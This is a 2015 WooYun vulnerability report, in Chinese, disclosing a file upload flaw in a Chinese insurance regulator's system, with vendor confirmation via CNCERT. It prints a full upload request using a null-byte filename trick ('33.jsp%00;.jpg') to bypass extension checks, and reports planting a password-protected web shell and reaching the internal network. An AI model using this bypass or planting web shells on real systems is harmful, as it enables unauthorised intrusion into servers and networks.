当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152389

漏洞标题:保监局某系统存在任意文件上传漏洞(简单绕过)已shell可威胁内网

相关厂商:中国保险监督管理委员会

漏洞作者: 路人甲

提交时间:2015-11-06 17:57

修复时间:2015-12-25 10:32

公开时间:2015-12-25 10:32

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-06: 细节已通知厂商并且等待厂商处理中
2015-11-10: 厂商已经确认,细节仅向厂商公开
2015-11-20: 细节向核心白帽子及相关领域专家公开
2015-11-30: 细节向普通白帽子公开
2015-12-10: 细节向实习白帽子公开
2015-12-25: 细节向公众公开

简要描述:

简单绕过已shell可威胁内网

详细说明:

保险中介监管信息系统
http://**.**.**.**

QQ截图20151106171213.png


上传地址:http://**.**.**.**/em/externalnetwork/personalInfoEntry.jsp

QQ截图20151106171307.png


之前的漏洞是这样的http://**.**.**.**/bugs/wooyun-2010-07101
12年的时候该页面可以直接上传jsp

QQ截图20151106171648.png


现在不可以喽亲,已经被修复了

QQ截图20151106172009.png


但是可以简单绕过

漏洞证明:

记得把%00 url-decode一下

POST /em/showPhotoAction.html HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://**.**.**.**/em/externalnetwork/personalInfoEntry.jsp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7df28cd370272
UA-CPU: x86
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://**.**.**.**) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://**.**.**.**) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: **.**.**.**
Content-Length: 3107
Proxy-Connection: Keep-Alive
Cookie: JSESSIONID=00004oYofb5Lsffs8kcyAhq9c4f:17gckkoi8; bjh=84199690.30755.0000
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.identityType"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.idCard"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.name"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.culture"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="nImgName"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.certType"
0
-----------------------------7df28cd370272
Content-Disposition: form-data; name="radiobutton"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.cyzg"
1
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.sex"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.birthday"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="useless"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.nation"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.polity"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.gradSchool"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.hopetime"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.email"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.post"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.phone"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.mobile"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.messageAddr"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="province1"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.domicile"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.xiangzhen"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="province"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="areaCodeChinese"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="exammanage.areaCode"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="file"; filename="C:\33.jsp%00;.jpg"
Content-Type: image/pjpeg
test
-----------------------------7df28cd370272
Content-Disposition: form-data; name="examuser.password"
-----------------------------7df28cd370272
Content-Disposition: form-data; name="passwordtwo"
-----------------------------7df28cd370272--


然后就可以(重现的时候记得重新抓个包)

QQ截图20151106171935.png


QQ截图20151106172109.png


传一个shell

QQ截图20151106172204.png


地址:http://**.**.**.**/em/resources/lintest/34.jsp
密码:pandas
虽然访问会提示那个什么 “哦!”
菜单正常链接

QQ截图20151106172303.png


QQ截图20151106172417.png


可威胁内网
你懂的,几个站

QQ截图20151106173725.png

修复方案:

上传点过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-10 10:31

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保监会信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无